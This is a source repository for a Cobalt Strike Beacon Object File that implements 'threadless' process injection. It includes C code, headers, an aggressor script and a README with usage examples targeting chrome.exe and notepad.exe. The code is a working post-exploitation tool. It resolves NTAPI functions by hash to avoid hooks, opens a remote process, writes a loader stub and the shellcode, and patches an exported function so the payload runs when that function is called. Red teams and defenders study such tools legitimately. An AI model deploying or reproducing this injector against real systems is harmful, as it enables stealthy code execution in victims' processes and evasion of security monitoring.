├── LICENSE ├── Makefile ├── README.md ├── beacon.h ├── dist ├── ThreadlessInject.cna └── threadless-inject.o ├── entry.c ├── extension.json └── typedefs.h /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Jordan Jay 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := threadless-inject 2 | CC_x64 := x86_64-w64-mingw32-gcc 3 | STRIP_x64 := x86_64-w64-mingw32-strip 4 | 5 | all: 6 | $(CC_x64) -o dist/$(BOFNAME).o -c entry.c -masm=intel -Wall 7 | $(STRIP_x64) --strip-unneeded dist/$(BOFNAME).o 8 | 9 | clean: 10 | rm -f dist/$(BOFNAME).o 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Threadless Inject BOF 2 | 3 | A beacon object file implementation of [ThreadlessInject](https://github.com/CCob/ThreadlessInject) by [@\_EthicalChaos\_](https://twitter.com/_EthicalChaos_), making use of API hashing and calling NTAPI functions directly rather than going through the Windows API. 4 | 5 | ThreadlessInject is a novel process injection technique involving hooking an export function from a remote process in order to gain shellcode execution. The original project was released after their talk at BSides Cymru 2023. 6 | 7 | ## Usage 8 | 9 | ``` 10 | threadless-inject 11 | ``` 12 | 13 | ### Examples 14 | 15 | For sake of example, all process id's have been assumed to be `1234`. 16 | 17 | **Inject into chrome.exe, execute shellcode when process closes** 18 | ``` 19 | threadless-inject 1234 ntdll.dll NtTerminateProcess shellcode.bin 20 | ``` 21 | 22 | **Inject into notepad.exe, execute upon file open** 23 | ``` 24 | threadless-inject 1234 ntdll.dll NtOpenFile shellcode.bin 25 | ``` 26 | 27 | ## Credits 28 | 29 | - [@\_EthicalChaos\_](https://twitter.com/_EthicalChaos_) - Creator of [ThreadlessInject](https://github.com/CCob/ThreadlessInject) 30 | - [@shubakki](https://twitter.com/shubakki) - Helped port some helper functions, such as `findMemoryHole` 31 | -------------------------------------------------------------------------------- /beacon.h: -------------------------------------------------------------------------------- 1 | // beacon.h (ThreadlessInjectBof) 2 | #pragma once 3 | 4 | /* 5 | * Beacon Object Files (BOF) 6 | * ------------------------- 7 | * A Beacon Object File is a light-weight post exploitation tool that runs 8 | * with Beacon's inline-execute command. 9 | * 10 | * Cobalt Strike 4.1. 11 | */ 12 | 13 | /* data API */ 14 | typedef struct { 15 | char* original; /* the original buffer [so we can free it] */ 16 | char* buffer; /* current pointer into our buffer */ 17 | int length; /* remaining length of data */ 18 | int size; /* total size of this buffer */ 19 | } datap; 20 | 21 | DECLSPEC_IMPORT void BeaconDataParse(datap* parser, char* buffer, int size); 22 | DECLSPEC_IMPORT int BeaconDataInt(datap* parser); 23 | DECLSPEC_IMPORT short BeaconDataShort(datap* parser); 24 | DECLSPEC_IMPORT int BeaconDataLength(datap* parser); 25 | DECLSPEC_IMPORT char* BeaconDataExtract(datap* parser, int* size); 26 | 27 | /* format API */ 28 | typedef struct { 29 | char* original; /* the original buffer [so we can free it] */ 30 | char* buffer; /* current pointer into our buffer */ 31 | int length; /* remaining length of data */ 32 | int size; /* total size of this buffer */ 33 | } formatp; 34 | 35 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp* format, int maxsz); 36 | DECLSPEC_IMPORT void BeaconFormatReset(formatp* format); 37 | DECLSPEC_IMPORT void BeaconFormatFree(formatp* format); 38 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp* format, char* text, int len); 39 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp* format, char* fmt, ...); 40 | DECLSPEC_IMPORT char* BeaconFormatToString(formatp* format, int* size); 41 | DECLSPEC_IMPORT void BeaconFormatInt(formatp* format, int value); 42 | 43 | /* Output Functions */ 44 | #define CALLBACK_OUTPUT 0x0 45 | #define CALLBACK_OUTPUT_OEM 0x1e 46 | #define CALLBACK_ERROR 0x0d 47 | #define CALLBACK_OUTPUT_UTF8 0x20 48 | 49 | DECLSPEC_IMPORT void BeaconPrintf(int type, char* fmt, ...); 50 | DECLSPEC_IMPORT void BeaconOutput(int type, char* data, int len); 51 | 52 | /* Token Functions */ 53 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 54 | DECLSPEC_IMPORT void BeaconRevertToken(); 55 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 56 | 57 | /* Spawn+Inject Functions */ 58 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char* buffer, int length); 59 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len); 60 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len); 61 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo); 62 | 63 | /* Utility Functions */ 64 | DECLSPEC_IMPORT BOOL toWideChar(char* src, wchar_t* dst, int max); -------------------------------------------------------------------------------- /dist/ThreadlessInject.cna: -------------------------------------------------------------------------------- 1 | # Register command 2 | beacon_command_register( 3 | "threadless-inject", 4 | "Execute shellcode within a remote process via hooking function calls", 5 | "Usage: threadless-inject " 6 | ); 7 | 8 | alias threadless-inject { 9 | # Check correct argument length 10 | if (size(@_) != 5) 11 | { 12 | berror($1, "Incorrect usage!"); 13 | berror($1, beacon_command_detail("threadless-inject")); 14 | return; 15 | } 16 | 17 | local('$barch $handle $data $args $pid $dll $functionName $shellcodeFile') # https://github.com/iilegacyyii/ThreadlessInject-BOF/issues/4 18 | 19 | # Check we are in x64 beacon 20 | $barch = barch($1); 21 | if ($barch !eq "x64") 22 | { 23 | berror($1, "Only x64 beacons are supported currently"); 24 | return; 25 | } 26 | 27 | # Verify PID is an integer 28 | # Conditional taken from: https://github.com/connormcgarr/cThreadHijack/blob/main/cThreadHijack.cna 29 | if ((!-isnumber $2) || (int($2) <= 0)) 30 | { 31 | berror($1, "Please enter a valid PID"); 32 | return; 33 | } 34 | 35 | # Read BOF file 36 | $handle = openf(script_resource("threadless-inject.o")); 37 | $data = readb($handle, -1); 38 | closef($handle); 39 | 40 | # Parse args 41 | if (size(@_) == 5) 42 | { 43 | $pid = @_[1]; 44 | $dll = @_[2]; 45 | $functionName = @_[3]; 46 | $shellcodeFile = @_[4]; 47 | } 48 | 49 | # Check shellcode file exists 50 | if (!-exists $shellcodeFile) 51 | { 52 | berror($1, "Shellcode file doesn't exist"); 53 | return; 54 | } 55 | 56 | # Read shellcode from bin 57 | # Snippet taken from: https://github.com/ScriptIdiot/sw2-secinject/blob/main/dist/sw2-secinject.cna 58 | local('$sc_handle $sc_data'); # https://github.com/iilegacyyii/ThreadlessInject-BOF/issues/4 59 | $sc_handle = openf($shellcodeFile); 60 | $sc_data = readb($sc_handle, -1); 61 | closef($sc_handle); 62 | 63 | # Pack args 64 | $args = bof_pack($1, "izzb", $pid, $dll, $functionName, $sc_data); 65 | 66 | # Execute BOF 67 | btask($1, "Executing ThreadlessInjectBof by @0xLegacyy"); 68 | beacon_inline_execute($1, $data, "go", $args); 69 | } -------------------------------------------------------------------------------- /dist/threadless-inject.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iilegacyyii/ThreadlessInject-BOF/d002dc4b89ac55daafe1777e4087f9aec82e7490/dist/threadless-inject.o -------------------------------------------------------------------------------- /entry.c: -------------------------------------------------------------------------------- 1 | // entry.c (ThreadlessInjectBof) 2 | #include 3 | #include "beacon.h" 4 | #include "typedefs.h" 5 | 6 | #define HashStringNtdll 0x467f5122 7 | #define HashStringNtOpenProcess 0xc9465091 8 | #define HashStringNtAllocateVirtualMemory 0xf7eb76b1 9 | #define HashStringNtProtectVirtualMemory 0xae75b471 10 | #define HashStringNtWriteVirtualMemory 0x8513601 11 | #define HashStringNtClose 0xa3ec3880 12 | 13 | #define HashStringA(x) HashStringFowlerNollVoVariant1aA(x) 14 | #define HashStringW(x) HashStringFowlerNollVoVariant1aW(x) 15 | 16 | ULONG HashStringFowlerNollVoVariant1aA(_In_ LPCSTR String) 17 | { 18 | ULONG Hash = 0x6A6CCC06; 19 | 20 | while (*String) 21 | { 22 | Hash ^= (UCHAR)*String++; 23 | Hash *= 0x25EDE3FB; 24 | } 25 | 26 | return Hash; 27 | } 28 | ULONG HashStringFowlerNollVoVariant1aW(_In_ LPCWSTR String) 29 | { 30 | ULONG Hash = 0x6A6CCC06; 31 | 32 | while (*String) 33 | { 34 | Hash ^= (UCHAR)*String++; 35 | Hash *= 0x25EDE3FB; 36 | } 37 | 38 | return Hash; 39 | } 40 | 41 | 42 | HMODULE _GetModuleHandle(_In_ ULONG dllHash) 43 | { 44 | PLIST_ENTRY head = (PLIST_ENTRY) & ((PPEB)__readgsqword(0x60))->Ldr->InMemoryOrderModuleList; 45 | PLIST_ENTRY next = head->Flink; 46 | 47 | PLDR_MODULE module = (PLDR_MODULE)((PBYTE)next - 16); 48 | 49 | while (next != head) 50 | { 51 | module = (PLDR_MODULE)((PBYTE)next - 16); 52 | if (module->BaseDllName.Buffer != NULL) 53 | { 54 | if (dllHash - HashStringW(module->BaseDllName.Buffer) == 0) 55 | return (HMODULE)module->BaseAddress; 56 | } 57 | next = next->Flink; 58 | } 59 | 60 | return NULL; 61 | } 62 | FARPROC _GetProcAddress(_In_ HMODULE dllBase, _In_ ULONG funcHash) 63 | { 64 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)(dllBase); 65 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)dos + (dos)->e_lfanew); 66 | PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dos + (nt)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 67 | 68 | if (exports->AddressOfNames != 0) 69 | { 70 | PWORD ordinals = (PWORD)((UINT_PTR)dllBase + exports->AddressOfNameOrdinals); 71 | PDWORD names = (PDWORD)((UINT_PTR)dllBase + exports->AddressOfNames); 72 | PDWORD functions = (PDWORD)((UINT_PTR)dllBase + exports->AddressOfFunctions); 73 | 74 | for (DWORD i = 0; i < exports->NumberOfNames; i++) { 75 | LPCSTR name = (LPCSTR)((UINT_PTR)dllBase + names[i]); 76 | if (HashStringA(name) == funcHash) { 77 | PBYTE function = (PBYTE)((UINT_PTR)dllBase + functions[ordinals[i]]); 78 | return (FARPROC)function; 79 | } 80 | } 81 | } 82 | return NULL; 83 | } 84 | 85 | 86 | void GenerateHook(UINT_PTR originalInstructions, char* shellcodeLoader) 87 | { 88 | for (int i = 0; i < 8; i++) 89 | shellcodeLoader[18 + i] = ((char*)&originalInstructions)[i]; 90 | } 91 | 92 | 93 | UINT_PTR findMemoryHole(HANDLE proc, UINT_PTR exportAddr, SIZE_T size) 94 | { 95 | UINT_PTR remoteLdrAddr; 96 | BOOL foundMem = FALSE; 97 | NTSTATUS status; 98 | 99 | typeNtAllocateVirtualMemory pNtAllocateVirtualMemory = (typeNtAllocateVirtualMemory)_GetProcAddress(_GetModuleHandle(HashStringNtdll), 0xf7eb76b1); 100 | 101 | for (remoteLdrAddr = (exportAddr & 0xFFFFFFFFFFF70000) - 0x70000000; 102 | remoteLdrAddr < exportAddr + 0x70000000; 103 | remoteLdrAddr += 0x10000) 104 | { 105 | status = pNtAllocateVirtualMemory(proc, (PVOID*)&remoteLdrAddr, 0, &size, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READ); 106 | if (status != 0) 107 | continue; 108 | 109 | foundMem = TRUE; 110 | break; 111 | } 112 | 113 | return foundMem ? remoteLdrAddr : 0; 114 | } 115 | 116 | 117 | void go(char* args, int alen) { 118 | // Argument parsing 119 | datap parser; 120 | SIZE_T pid; 121 | LPCSTR targetDllName; 122 | LPCSTR targetFunctionName; 123 | char* shellcode; 124 | SIZE_T shellcodeSize = 0; 125 | 126 | BeaconDataParse(&parser, args, alen); 127 | pid = BeaconDataInt(&parser); 128 | targetDllName = BeaconDataExtract(&parser, NULL); 129 | targetFunctionName = BeaconDataExtract(&parser, NULL); 130 | shellcode = BeaconDataExtract(&parser, &shellcodeSize); 131 | 132 | BeaconPrintf(CALLBACK_OUTPUT, "Injecting into target process, executing via %s!%s", targetDllName, targetFunctionName); 133 | 134 | char shellcodeLoader[] = { 135 | 0x58, 0x48, 0x83, 0xE8, 0x05, 0x50, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53, 0x48, 0xB9, 136 | 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, 0x48, 0x89, 0x08, 0x48, 0x83, 0xEC, 0x40, 0xE8, 0x11, 0x00, 137 | 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5A, 0x59, 0x58, 0xFF, 138 | 0xE0, 0x90 139 | }; 140 | 141 | // Get address of target function 142 | HMODULE dllBase = _GetModuleHandle(HashStringA(targetDllName)); 143 | if (dllBase == NULL) 144 | { 145 | BeaconPrintf(CALLBACK_ERROR, "Unable to locate base address of %s", targetDllName); 146 | return; 147 | } 148 | 149 | UINT_PTR exportAddress = (UINT_PTR)_GetProcAddress(dllBase, HashStringA(targetFunctionName)); 150 | if (exportAddress == 0) 151 | { 152 | BeaconPrintf(CALLBACK_ERROR, "Unable to locate base address of %s!%s", targetDllName, targetFunctionName); 153 | return; 154 | } 155 | //BeaconPrintf(CALLBACK_OUTPUT, "%s!%s @ 0x%llx", targetDllName, targetFunctionName, exportAddress); 156 | 157 | // Get base address of ntdll, used for ntapi calls. 158 | HMODULE ntdllBase = _GetModuleHandle(HashStringNtdll); 159 | 160 | // Parse required NTAPI functions 161 | typeNtOpenProcess pNtOpenProcess = (typeNtOpenProcess)_GetProcAddress(ntdllBase, HashStringNtOpenProcess); 162 | typeNtAllocateVirtualMemory pNtAllocateVirtualMemory = (typeNtAllocateVirtualMemory)_GetProcAddress(ntdllBase, HashStringNtAllocateVirtualMemory); 163 | typeNtProtectVirtualMemory pNtProtectVirtualMemory = (typeNtProtectVirtualMemory)_GetProcAddress(ntdllBase, HashStringNtProtectVirtualMemory); 164 | typeNtWriteVirtualMemory pNtWriteVirtualMemory = (typeNtWriteVirtualMemory)_GetProcAddress(ntdllBase, HashStringNtWriteVirtualMemory); 165 | typeNtClose pNtClose = (typeNtClose)_GetProcAddress(ntdllBase, HashStringNtClose); 166 | 167 | if (pNtOpenProcess == 0 168 | || pNtAllocateVirtualMemory == 0 169 | || pNtProtectVirtualMemory == 0 170 | || pNtWriteVirtualMemory == 0 171 | || pNtClose == 0) 172 | { 173 | BeaconPrintf(CALLBACK_ERROR, "Unable to locate NTAPI functions from ntdll.dll"); 174 | return; 175 | } 176 | 177 | // Get handle to target process 178 | HANDLE pHandle = NULL; 179 | CLIENT_ID ClientId; 180 | OBJECT_ATTRIBUTES ObjectAttributes; 181 | 182 | InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); 183 | ClientId.UniqueProcess = (HANDLE)pid; 184 | ClientId.UniqueThread = NULL; 185 | 186 | NTSTATUS status = pNtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &ObjectAttributes, &ClientId); 187 | if (status != 0) 188 | { 189 | BeaconPrintf(CALLBACK_ERROR, "Unable to acquire handle to target process (pid: %d), status: 0x%llx", pid, status); 190 | return; 191 | } 192 | 193 | // Locate memory hole for shellcode to reside in. 194 | UINT_PTR loaderAddress = findMemoryHole(pHandle, exportAddress, sizeof(shellcodeLoader) + shellcodeSize); 195 | if (loaderAddress == 0) 196 | { 197 | BeaconPrintf(CALLBACK_ERROR, "Unable to locate memory hole within 2G of export address"); 198 | goto CLEANUP; 199 | } 200 | //BeaconPrintf(CALLBACK_OUTPUT, "Allocated region @ 0x%llx", loaderAddress); 201 | 202 | // Get original 8 bytes at export address 203 | UINT_PTR originalBytes = 0; 204 | for (int i = 0; i < 8; i++) ((BYTE*)&originalBytes)[i] = ((BYTE*)exportAddress)[i]; 205 | 206 | // Setup the call 0x1122334455667788 in the shellcodeLoader 207 | GenerateHook(originalBytes, shellcodeLoader); 208 | 209 | // Change exportAddress memory to rwx, have to do this to stop the target process potentially crashing (IoC) 210 | SIZE_T regionSize = 8; 211 | ULONG oldProtect = 0; 212 | UINT_PTR targetRegion = exportAddress; 213 | status = pNtProtectVirtualMemory(pHandle, (PVOID*)&targetRegion, ®ionSize, PAGE_EXECUTE_READWRITE, &oldProtect); 214 | if (status != 0) 215 | { 216 | BeaconPrintf(CALLBACK_ERROR, "Unable to change page protections @ 0x%llx, status: 0x%llx", targetRegion, status); 217 | goto CLEANUP; 218 | } 219 | 220 | // Calculate callOpCode & write to export 221 | UINT_PTR relativeLoaderAddress = loaderAddress - (exportAddress + 5); 222 | char callOpCode[] = { 0xe8, 0, 0, 0, 0 }; 223 | for (int i = 0; i < 4; i++) 224 | callOpCode[1 + i] = ((char*)&relativeLoaderAddress)[i]; 225 | 226 | ULONG bytesWritten = 0; 227 | targetRegion = exportAddress; 228 | status = pNtWriteVirtualMemory(pHandle, (PVOID)targetRegion, (PVOID)callOpCode, sizeof(callOpCode), &bytesWritten); 229 | if (status != 0 || bytesWritten != sizeof(callOpCode)) 230 | { 231 | BeaconPrintf(CALLBACK_ERROR, "Unable to write call opcode @ 0x%llx, status: 0x%llx", exportAddress, status); 232 | goto CLEANUP; 233 | } 234 | //BeaconPrintf(CALLBACK_OUTPUT, "Wrote call opcode @ 0x%llx", exportAddress); 235 | 236 | // Change loaderAddress protections to rw 237 | regionSize = sizeof(shellcodeLoader) + shellcodeSize; 238 | status = pNtProtectVirtualMemory(pHandle, (PVOID*)&loaderAddress, ®ionSize, PAGE_READWRITE, &oldProtect); 239 | if (status != 0) 240 | { 241 | BeaconPrintf(CALLBACK_ERROR, "Unable to change page protections @ 0x%llx, status: 0x%llx", loaderAddress, status); 242 | goto CLEANUP; 243 | } 244 | 245 | // Write payload to address (2 writes here because I cba to concat the two buffers) 246 | status = pNtWriteVirtualMemory(pHandle, (PVOID)loaderAddress, (PVOID)shellcodeLoader, sizeof(shellcodeLoader), &bytesWritten); 247 | if (status != 0 || bytesWritten != sizeof(shellcodeLoader)) 248 | { 249 | BeaconPrintf(CALLBACK_ERROR, "Unable to write loader stub @ 0x%llx, status: 0x%llx", loaderAddress, status); 250 | goto CLEANUP; 251 | } 252 | 253 | status = pNtWriteVirtualMemory(pHandle, (PVOID)(loaderAddress + sizeof(shellcodeLoader)), (PVOID)shellcode, shellcodeSize, &bytesWritten); 254 | if (status != 0 || bytesWritten != shellcodeSize) 255 | { 256 | BeaconPrintf(CALLBACK_ERROR, "Unable to write payload @ 0x%llx, status: 0x%llx", loaderAddress + shellcodeSize, status); 257 | goto CLEANUP; 258 | } 259 | 260 | // Restore original protections 261 | status = pNtProtectVirtualMemory(pHandle, (PVOID*)&loaderAddress, ®ionSize, oldProtect, &oldProtect); 262 | if (status != 0) 263 | { 264 | BeaconPrintf(CALLBACK_ERROR, "Unable to change page protections @ 0x%llx, status: 0x%llx", loaderAddress, status); 265 | goto CLEANUP; 266 | } 267 | 268 | BeaconPrintf(CALLBACK_OUTPUT, "Injection complete. Payload will execute when the targeted process calls the export"); 269 | 270 | CLEANUP: 271 | pNtClose(pHandle); pHandle = NULL; 272 | return; 273 | } 274 | 275 | -------------------------------------------------------------------------------- /extension.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "threadless-inject", 3 | "version": "0.0.0", 4 | "command_name": "threadless-inject", 5 | "extension_author": "@0xLegacyy", 6 | "original_author": "@0xLegacyy", 7 | "repo_url": "https://github.com/iiLegacyyii/ThreadlessInject-BOF", 8 | "help": "Execute shellcode within a remote process via hooking function calls.", 9 | "depends_on": "coff-loader", 10 | "entrypoint": "go", 11 | "files": [ 12 | { 13 | "os": "windows", 14 | "arch": "amd64", 15 | "path": "dist/threadless-inject.o" 16 | } 17 | ], 18 | "arguments": [ 19 | { 20 | "name": "pid", 21 | "desc": "The PID of the process you want to dump.", 22 | "type": "int", 23 | "optional": false 24 | }, 25 | { 26 | "name": "dll-name", 27 | "desc": "The name of the dll containing the exported function to hook.", 28 | "type": "string", 29 | "optional": false 30 | }, 31 | { 32 | "name": "function-name", 33 | "desc": "The name of the function you would like to hook.", 34 | "type": "string", 35 | "optional": false 36 | }, 37 | { 38 | "name": "shellcode-path", 39 | "desc": "Path to file containing shellcode.", 40 | "type": "file", 41 | "optional": false 42 | } 43 | ] 44 | } 45 | -------------------------------------------------------------------------------- /typedefs.h: -------------------------------------------------------------------------------- 1 | // typedefs.h (ThreadlessInjectBof) 2 | #pragma once 3 | 4 | typedef struct _UNICODE_STRING { 5 | USHORT Length; 6 | USHORT MaximumLength; 7 | PWSTR Buffer; 8 | } UNICODE_STRING, * PUNICODE_STRING; 9 | 10 | typedef struct _LDR_MODULE { 11 | LIST_ENTRY InLoadOrderModuleList; 12 | LIST_ENTRY InMemoryOrderModuleList; 13 | LIST_ENTRY InInitializationOrderModuleList; 14 | PVOID BaseAddress; 15 | PVOID EntryPoint; 16 | ULONG SizeOfImage; 17 | UNICODE_STRING FullDllName; 18 | UNICODE_STRING BaseDllName; 19 | ULONG Flags; 20 | SHORT LoadCount; 21 | SHORT TlsIndex; 22 | LIST_ENTRY HashTableEntry; 23 | ULONG TimeDateStamp; 24 | } LDR_MODULE, * PLDR_MODULE; 25 | 26 | typedef struct _PEB_LDR_DATA { 27 | BYTE Reserved1[8]; 28 | PVOID Reserved2[3]; 29 | LIST_ENTRY InMemoryOrderModuleList; 30 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 31 | 32 | typedef struct _RTL_USER_PROCESS_PARAMETERS { 33 | ULONG MaximumLength; 34 | ULONG Length; 35 | ULONG Flags; 36 | ULONG DebugFlags; 37 | PVOID ConsoleHandle; 38 | ULONG ConsoleFlags; 39 | HANDLE StdInputHandle; 40 | HANDLE StdOutputHandle; 41 | HANDLE StdErrorHandle; 42 | UNICODE_STRING CurrentDirectoryPath; 43 | HANDLE CurrentDirectoryHandle; 44 | UNICODE_STRING DllPath; 45 | UNICODE_STRING ImagePathName; 46 | UNICODE_STRING CommandLine; 47 | PVOID Environment; 48 | } RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; 49 | 50 | typedef struct _PEB { 51 | BYTE Reserved1[2]; 52 | BYTE BeingDebugged; 53 | BYTE Reserved2[1]; 54 | PVOID Reserved3[2]; 55 | PPEB_LDR_DATA Ldr; 56 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 57 | BYTE Reserved4[104]; 58 | PVOID Reserved5[52]; 59 | PVOID PostProcessInitRoutine; 60 | BYTE Reserved6[128]; 61 | PVOID Reserved7[1]; 62 | ULONG SessionId; 63 | } PEB, * PPEB; 64 | 65 | typedef struct _OBJECT_ATTRIBUTES { 66 | ULONG Length; 67 | HANDLE RootDirectory; 68 | PUNICODE_STRING ObjectName; 69 | ULONG Attributes; 70 | PVOID SecurityDescriptor; 71 | PVOID SecurityQualityOfService; 72 | } OBJECT_ATTRIBUTES; 73 | typedef OBJECT_ATTRIBUTES* POBJECT_ATTRIBUTES; 74 | 75 | #define InitializeObjectAttributes( p, n, a, r, s ) { \ 76 | (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ 77 | (p)->RootDirectory = r; \ 78 | (p)->Attributes = a; \ 79 | (p)->ObjectName = n; \ 80 | (p)->SecurityDescriptor = s; \ 81 | (p)->SecurityQualityOfService = NULL; \ 82 | } 83 | 84 | typedef struct _CLIENT_ID 85 | { 86 | PVOID UniqueProcess; 87 | PVOID UniqueThread; 88 | } CLIENT_ID, * PCLIENT_ID; 89 | 90 | 91 | // NTAPI function types 92 | typedef NTSTATUS(NTAPI* typeNtOpenProcess)(_Out_ PHANDLE ProcessHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PCLIENT_ID ClientId); 93 | typedef NTSTATUS(NTAPI* typeNtAllocateVirtualMemory)(_In_ HANDLE ProcessHandle, _Inout_ PVOID* BaseAddress, _In_ ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, _In_ ULONG AllocationType, _In_ ULONG Protect); 94 | typedef NTSTATUS(NTAPI* typeNtProtectVirtualMemory)(_In_ HANDLE ProcessHandle, _Inout_ PVOID* BaseAddress, _Inout_ PSIZE_T NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessPRotection); 95 | typedef NTSTATUS(NTAPI* typeNtWriteVirtualMemory)(_In_ HANDLE ProcessHandle, _In_ PVOID BaseAddress, _In_ PVOID Buffer, _In_ ULONG NumberOfBytesToWrite, _Out_ PULONG NumberOfBytesWritten OPTIONAL); 96 | typedef NTSTATUS(NTAPI* typeNtClose )( _In_ HANDLE Handle ); --------------------------------------------------------------------------------